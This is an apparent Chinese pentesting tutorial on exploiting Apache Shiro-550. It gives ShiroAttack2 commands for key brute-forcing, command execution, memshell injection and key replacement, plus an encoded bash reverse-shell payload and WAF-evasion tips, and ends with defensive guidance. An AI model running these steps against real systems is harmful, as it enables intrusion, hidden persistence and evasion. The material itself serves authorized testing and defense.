Apache Shiro反序列化漏洞实战:从原理到利用与防御
1. 项目概述
最近在整理渗透测试的实战笔记,翻到了不少关于Apache Shiro框架反序列化漏洞的利用记录。这个漏洞,业内常说的Shiro-550,从2016年被披露至今,依然能在很多企业的资产里看到它的身影,生命力之顽强,让人不得不感慨。很多刚入行的朋友可能会觉得,一个快十年的老洞,应该早就被修复干净了吧?但现实情况是,由于历史遗留的默认密钥、复杂的密钥更换流程以及极低的利用门槛,它依然是红队评估和授权渗透测试中的“常客”。今天,我就结合自己多次在授权测试中的实战经历,来详细拆解一下Shiro漏洞的利用思路、核心工具链以及那些容易踩坑的细节。这篇文章不是教你如何攻击,而是作为一个防御者和安全研究者的视角,去理解攻击链条,从而更好地进行防护。无论你是安全工程师、开发人员还是对Web安全感兴趣的朋友,都能从中了解到这个经典漏洞的“前世今生”和攻防要点。
2. Shiro-550漏洞原理深度剖析
2.1 漏洞的根源:RememberMe功能的“阿喀琉斯之踵”
Apache Shiro是一个强大且易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。其“记住我”(RememberMe)功能本是为了提升用户体验,允许用户在关闭浏览器后再次访问时无需重新登录。然而,正是这个便利的功能,埋下了严重的安全隐患。
漏洞的核心在于CookieRememberMeManager这个类对RememberMe Cookie的处理流程。当用户勾选“记住我”并成功登录后,Shiro会将用户的身份信息(Principal)序列化,然后使用AES算法进行加密,最后将密文进行Base64编码,设置为一个名为rememberMe的Cookie发送给浏览器。当用户再次访问时,浏览器会携带这个Cookie,Shiro服务端会对其进行解密、反序列化,从而重建用户会话,实现自动登录。
问题出在以下几个环节的叠加:
- 硬编码的默认密钥:在Shiro 1.2.4及更早的版本中,用于AES加密解密的密钥是硬编码在源码里的:
kPH+bIxk5D2deZiIxcaaaA==。这意味着,任何使用这些版本且未主动修改密钥的应用,都使用着全世界攻击者都知道的“万能钥匙”。 - 加密模式与Padding:Shiro使用了AES-CBC加密模式,并采用了PKCS5Padding。CBC模式本身需要初始化向量(IV),但Shiro在加密时,IV是随机生成的,并和密文一起序列化。这本身不是问题,问题在于反序列化的逻辑。
- 脆弱的异常处理流程:服务端在解密Cookie时,会先Base64解码,然后用AES解密,最后进行Java反序列化。关键在于,无论解密失败(密钥错误)还是反序列化失败(数据被篡改或密钥错误导致解密出的数据乱码),Shiro 1.x版本都会返回一个
Set-Cookie: rememberMe=deleteMe的响应头,指示浏览器删除这个无效的Cookie。这个行为成为了漏洞检测和密钥爆破的“指示灯”。
攻击者正是利用了这一点:先发送一个恶意的RememberMe Cookie,如果服务端返回deleteMe,则说明目标使用了Shiro框架(因为其他框架通常不会对这个特定Cookie名有如此反应)。接着,攻击者可以系统地尝试密钥字典。当尝试到正确的密钥时,解密过程会成功(至少能通过AES解密,即使反序列化可能因数据格式不对而失败),服务端便不会返回deleteMe响应头。通过这种“有”或“无”的差异,攻击者就能判定密钥是否正确。
实操心得:很多自动化工具有时会误报,因为一些WAF或中间件也可能拦截请求并返回类似
deleteMe的指令。最可靠的判断方法是结合响应码和响应体长度。一个典型的Shiro“指纹”是:发送一个无效的rememberMe=1,如果返回200状态码且带有deleteMe的Set-Cookie头,基本可以确定是Shiro。如果返回403/500等,则需要进一步分析。
2.2 从密钥到命令执行:反序列化Gadget链的利用
拿到AES密钥只是第一步,如同拿到了一把锁的钥匙。接下来,攻击者需要构造一个能打开“保险箱”(执行系统命令)的“工具”(Gadget链)。
Java反序列化漏洞的本质是:程序在反序列化不可信的数据时,会调用该数据所代表的对象的readObject方法。如果攻击者能够精心构造一条链式调用(Gadget Chain),让readObject方法最终执行到诸如Runtime.exec()这样的危险方法,就能实现远程代码执行(RCE)。
在Shiro的上下文中,攻击流程如下:
- 构造Payload:攻击者选取一个合适的Gadget链(例如基于
CommonsBeanutils、CommonsCollections库的链),将想要执行的命令(如/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i},这是一个编码后的反弹Shell命令)作为最终触发点的一部分,封装进Payload对象。 - 序列化与加密:将这个恶意Payload对象进行Java序列化,得到字节数组。然后使用之前爆破得到的正确AES密钥,对这个字节数组进行加密和Base64编码,生成最终的
rememberMeCookie值。 - 发送请求:将构造好的Cookie附在HTTP请求中发送给目标。
- 触发漏洞:目标Shiro服务端接收到Cookie,使用相同的密钥解密,然后对解密后的字节流进行反序列化。反序列化过程会沿着Gadget链执行,最终触发命令执行。
这里有一个关键点:Shiro在反序列化时,默认使用ObjectInputStream,并且没有对反序列化的类做任何白名单限制。这意味着任何存在于目标应用ClassPath中的、可利用的Gadget链类都可以被加载和使用。
注意事项:Gadget链的利用高度依赖目标服务器的ClassPath。如果目标应用没有引入
commons-collections、commons-beanutils等常见的有漏洞版本的库,那么很多公开的Gadget链就会失效。这也是为什么高级的利用工具(如ShiroAttack2)会集成多种链并尝试自动探测的原因。在实际测试中,遇到“有密钥但打不通”的情况,十有八九是Gadget链不匹配。
3. 实战利用工具链解析与操作
3.1 工具选型:为什么是ShiroAttack2?
市面上Shiro漏洞利用工具很多,从早期的ShiroExploit、ShiroScan,到现在的ShiroAttack2、ShiroRCE等。经过多次实战对比,我倾向于使用ShiroAttack2。原因如下:
- 功能全面且更新活跃:它不仅支持经典的密钥爆破和命令执行,还集成了内存马注入、密钥替换等高级利用方式,并且对Shiro 1.2.5之后引入的AES-GCM加密模式也有良好支持。
- 双模式支持:提供GUI图形界面和CLI命令行界面。GUI适合单点目标的手动测试和可视化操作;CLI模式则可以无缝集成到自动化扫描脚本或C2平台中,非常适合批量测试和红队作战。
- 自动化程度高:具备自动探测Shiro版本、自动切换AES加密模式(CBC/GCM)、自动尝试多种Gadget链等功能,大大降低了手动测试的复杂度。
- 结构化输出:CLI模式支持
--json参数,输出格式化的JSON数据,便于其他程序(如扫描器、AI Agent)解析结果,实现了很好的工具链集成性。
当然,工具只是辅助,理解其背后的原理和流程才是关键。下面我将以ShiroAttack2的CLI模式为例,拆解一次完整的攻击流程。
3.2 环境准备与工具部署
首先,你需要一个授权测试的目标。对于学习和研究,强烈建议在本地搭建漏洞靶场,例如使用vulfocus靶场镜像,里面就有现成的Shiro漏洞环境。
步骤1:获取工具前往ShiroAttack2的GitHub Release页面,下载最新版本的JAR文件。通常会有两个版本,一个对应JDK 8,一个对应JDK 11+,根据你的Java环境选择。我一般直接下载shiro_attack-<version>-jdk8.jar,因为兼容性最好。
步骤2:准备字典文件工具的运行依赖data/shiro_keys.txt这个密钥字典文件。如果下载的是bundle包,里面已经包含。如果只下载了JAR,需要手动创建data目录,并从项目仓库中复制shiro_keys.txt文件进去。这个文件包含了常见的Shiro默认密钥和弱密钥,是爆破成功的基础。
步骤3:运行结构最终你的工作目录应该类似这样:
. ├── shiro_attack-5.1.1-jdk8.jar └── data/ └── shiro_keys.txt如果需要使用某些特定版本的Gadget链(比如针对不同版本的commons-beanutils),可能还需要libs目录下的依赖JAR,但工具内置了一些常见链,对于基础测试通常够用。
3.3 分步实操:从探测到GetShell
假设我们的测试目标是:http://192.168.1.100:8080。
阶段一:探测(Detect)探测的目的是确认目标是否使用了Shiro框架。
java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI detect --url http://192.168.1.100:8080这个命令会向目标发送一个特殊的探测请求。工具内部会发送一个无效的rememberMeCookie,并检查响应头中是否包含Set-Cookie: rememberMe=deleteMe。如果包含,则判断为Shiro框架,并会尝试获取一些其他信息,如是否使用JSESSIONID、可能的Shiro版本提示等。
常见问题:如果目标部署在反向代理(如Nginx)后面,或者配置了全局的Cookie处理规则,可能会干扰探测结果。此时可以尝试添加
--header参数附加一些头部,或使用--proxy参数设置代理进行流量观察。
阶段二:爆破密钥(Crack)确认是Shiro后,下一步就是爆破其AES密钥。
java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI crack --url http://192.168.1.100:8080工具会加载data/shiro_keys.txt中的密钥列表,依次尝试。它采用了一种高效的方式:构造一个简单的序列化对象(如SimplePrincipalCollection),用每个密钥加密后发送。如果服务端没有返回deleteMe,则认为该密钥有效。
爆破过程可能会看到如下输出:
[*] Start crack shiro key... [*] Target URL: http://192.168.1.100:8080 [*] Load 124 keys from data/shiro_keys.txt [+] Try key[23]: kPH+bIxk5D2deZiIxcaaaA== ... No deleteMe! [+] Found key: kPH+bIxk5D2deZiIxcaaaA== (AES-CBC Mode)这里非常重要:工具会自动检测并显示加密模式是AES-CBC还是AES-GCM。Shiro 1.2.5及以上版本默认使用了GCM模式,其利用方式与CBC略有不同。ShiroAttack2会自动进行两种模式的尝试。
阶段三:执行命令(Exec)拿到密钥后,就可以尝试命令执行了。这是最激动人心也最需要谨慎的一步。
java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI exec --url http://192.168.1.100:8080 --key kPH+bIxk5D2deZiIxcaaaA== --gadget CB --command "whoami"参数解释:
--key: 上一步爆破得到的密钥。--gadget: 指定Gadget链类型。CB代表CommonsBeanutils链,这是最常用的一种。工具也支持其他如CC(CommonsCollections)等。如果不指定,工具会尝试自动探测。--command: 要执行的系统命令。
如果一切顺利,你会看到命令的执行结果输出。例如,返回root或tomcat等。
踩坑实录:
- “有密钥,但执行命令没回显”:这是最常见的问题。首先,检查命令本身是否能在目标系统执行(比如Windows和Linux命令不同)。其次,可能是Gadget链不兼容。尝试更换
--gadget参数,比如换成CC链,或者使用--gadget all让工具自动遍历所有可用链。- “工具显示成功,但实际没执行”:可能是目标环境有安全软件(如HIDS)拦截了进程创建,或者Java安全管理器(SecurityManager)限制了命令执行。此时可以尝试无回显的利用方式,如DNSLog外带数据,或者转向内存马注入。
- 编码问题:如果命令中包含特殊字符(如空格、引号、管道符
|),在命令行中需要妥善处理。最好先用Base64或URL编码一下命令,或者在工具中寻找对应的编码选项。
阶段四:注入内存马(Memshell)在实战中,直接执行命令可能不稳定(每次都要重新生成Payload),且容易被拦截。注入内存马是更持久、更隐蔽的方式。内存马是运行在服务器内存中的Webshell,不落盘,重启即失效,但难以被传统文件扫描检测。
java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI memshell --url http://192.168.1.100:8080 --key kPH+bIxk5D2deZiIxcaaaA== --type filter --path /shell --password summer参数解释:
--type: 内存马类型。filter表示注入一个Filter型内存马,这是最通用的类型。还有servlet、interceptor等,取决于目标Web容器和框架。--path: 内存马的访问路径。这里设置为/shell,意味着之后可以通过http://192.168.1.100:8080/shell来访问这个内存马。--password: 连接密码。连接时需要使用此密码进行认证,增加一点安全性(防止被其他人偶然访问)。
注入成功后,你就可以使用蚁剑、冰蝎或哥斯拉等Webshell管理工具,选择对应的内存马类型和密码,连接这个路径,获得一个交互式的Webshell。
高级技巧:
--type的选择有讲究。如果目标是Spring Boot应用,interceptor或controller类型可能成功率更高。ShiroAttack2在注入时会尝试多种路径,并自动验证是否注入成功。查看工具的详细输出,可以知道它具体注入了哪个类、哪个方法,这对于后续的排查和清理很有帮助。
阶段五:密钥替换(ChangeKey)这是一个“釜底抽薪”的后续攻击手段。在已经获得一定权限(如通过内存马)后,攻击者可以将目标Shiro应用的AES密钥替换成自己已知的密钥。这样,即使原管理员发现了漏洞并修改了代码中的密钥,攻击者依然可以用自己的新密钥构造Cookie,保持权限的持久化。
java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI changekey --url http://192.168.1.100:8080 --oldkey kPH+bIxk5D2deZiIxcaaaA== --newkey 2AvVhdsgUs0FSA3SDFAdag==这个功能利用了Shiro在内存中管理密钥的特性,通过反射修改运行时的密钥值。此操作风险极高,会直接影响应用正常用户的“记住我”功能,仅在深度渗透测试且有明确授权时考虑。
4. 绕过防御与高级利用场景
4.1 应对WAF与流量检测
随着Shiro漏洞的普及,越来越多的WAF(Web应用防火墙)和IDS/IPS开始检测特征明显的Shiro攻击流量。常见的检测点包括:
- Cookie名称:
rememberMe这个键名。 - Cookie值长度与特征:Base64编码后的AES密文有固定长度特征,且可能包含某些Gadget链的类名特征。
- 请求频率:短时间内大量尝试不同密钥的爆破行为。
绕过思路:
- 修改Cookie名:一些WAF规则只检测
rememberMe。可以尝试通过其他参数传递Payload,比如利用Shiro可能从header或parameter中读取rememberMe值的特性(取决于配置)。但大多数情况下,Cookie是唯一入口。 - 流量编码与分割:对Payload进行多次Base64编码、URL编码,或者将Payload分割到多个Cookie或POST参数中,在服务端拼接。ShiroAttack2的
BypassWaf模块提供了一些编码选项。 - 使用冷门Gadget链:避免使用
CommonsBeanutils、CommonsCollections这些被广泛检测的链。研究并利用其他第三方库的Gadget链,如rome、hibernate、spring-core等。这需要攻击者对目标应用的依赖库有深入了解。 - 降低请求频率:在爆破密钥时,使用延时参数,模拟正常用户访问速度。
- 利用HTTPS代理:将所有攻击流量通过一个加密的HTTPS代理发出,可以绕过一些基于明文流量特征检测的IDS。
4.2 无通用Gadget链的场景利用
在实战中,最头疼的情况是:成功爆破了密钥,但目标应用的ClassPath里没有任何已知的、可用的通用Gadget链库(如commons-collections, commons-beanutils)。这时候怎么办?
- 寻找应用自身的可利用类:这是最高级的手法。需要分析目标应用自己引入的JAR包,寻找其中实现了
Serializable接口、并且其readObject、getter/setter等方法中存在“危险操作”(如JNDI查找、反射调用、类加载、文件写入等)的类,手工构造一条Gadget链。这需要深厚的Java安全和代码审计功底。 - 利用JDK原生链:从JDK 7u21、8u20开始,也存在一些原生的Gadget链,如基于
javax.management.BadAttributeValueExpException和com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的链。这些链不依赖第三方库,但利用条件可能更苛刻。 - 转向其他攻击面:如果RCE实在无法实现,可以考虑利用反序列化进行其他操作,比如:
- 文件写入:如果找到可以写文件的Gadget,也许能写入一个JSP Webshell。
- SSRF:利用可以发起网络请求的Gadget,探测内网服务。
- DoS:构造导致无限循环或大量内存消耗的反序列化对象,造成拒绝服务。
4.3 针对Shiro 1.2.5+ (AES-GCM) 的利用
Shiro 1.2.5版本将默认的加密模式从AES-CBC切换到了更安全的AES-GCM。GCM模式提供了加密和完整性认证,理论上能防止Padding Oracle攻击,而Shiro-550的原始利用正是基于CBC模式的Padding Oracle特性。
然而,这并没有完全封堵漏洞。如果攻击者通过其他方式(如代码泄露、配置文件泄露)拿到了AES-GCM的密钥,他依然可以构造有效的加密Payload进行攻击。ShiroAttack2工具也支持GCM模式,其利用流程与CBC模式在“拥有密钥后”的步骤是一致的。区别在于加密和解密的算法细节。工具会自动识别和切换模式,对使用者来说是透明的。
关键点在于:GCM模式只是提高了密钥爆破的难度(因为没有deleteMe这种明显的Oracle了),但并没有改变“使用固定密钥加密用户可控的反序列化数据”这一根本脆弱点。只要密钥泄露,风险依旧存在。
5. 防御建议与排查指南
说了这么多攻击层面的事情,最终目的还是为了防御。作为防御方,应该怎么做?
5.1 针对开发与运维的加固措施
- 立即升级Shiro版本:升级到最新版本(至少1.7.0以上),新版Shiro在安全机制上有多处增强。
- 必须更换默认密钥:这是最重要、最直接的一步。在Shiro配置文件中(通常是
shiro.ini或Spring配置中的ShiroFilter),显式地配置一个强随机密钥。
生成强密钥的命令:# shiro.ini 示例 securityManager.rememberMeManager.cipherKey = base64:${your_strong_random_base64_key_here}openssl rand -base64 32 - 禁用RememberMe功能:如果业务不需要“记住我”功能,直接在配置中禁用它。
- 使用安全的反序列化器:考虑使用白名单机制的反序列化工具,如
SerialKiller、Jackson的@JsonTypeInfo注解配合多态类型处理,或者直接使用JSON等更安全的序列化格式替代Java原生序列化。 - 最小化依赖:定期清理项目依赖,移除不必要的库,特别是那些已知存在反序列化Gadget的库(如旧版本的commons-collections, commons-beanutils等)。
5.2 安全监控与应急响应
- 日志监控:在应用日志中监控异常的反序列化错误堆栈。Shiro在解密或反序列化失败时会记录日志。大量、频繁的
DecryptionException或SerializationException可能是爆破攻击的迹象。 - 流量监控:在WAF或网关层面,设置规则检测对
/根路径或登录接口的、携带超长rememberMeCookie的请求,并告警。 - 主机监控:使用HIDS监控Java进程突然创建陌生子进程(如
bash、cmd、powershell)的行为。 - 应急排查:
- 检查密钥:检查线上配置文件中的Shiro密钥是否为默认或弱密钥。
- 排查内存马:使用
Java Agent技术或Arthas等诊断工具,动态检查已加载的类,特别是Filter、Servlet、Controller中是否存在可疑的、名称异常的类。也可以重启应用服务器,内存马会随之消失,但这只是临时措施。 - 检查后门文件:排查Web目录下是否有新增的、可疑的
.jsp、.jspx、.war文件。 - 分析访问日志:寻找访问路径异常(如突然访问一个不存在的
/shell、/cmd路径)或User-Agent异常的请求。
Shiro-550漏洞的持久存在,是默认安全配置、密钥管理难题和低利用成本共同作用的结果。对于攻击者,它是一个经典的入口点;对于防御者,它是一个必须堵上的缺口。理解整个利用链条的每一个环节,从默认密钥到Gadget链,从命令执行到内存马,才能真正做到有效防护。安全是一个持续的过程,没有一劳永逸的解决方案,保持组件的更新、遵循安全开发规范、建立有效的监控响应体系,才是应对此类漏洞的根本之道。